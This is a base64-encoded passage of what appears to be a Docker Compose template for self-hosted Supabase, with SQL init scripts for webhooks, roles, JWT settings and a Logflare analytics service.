0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAg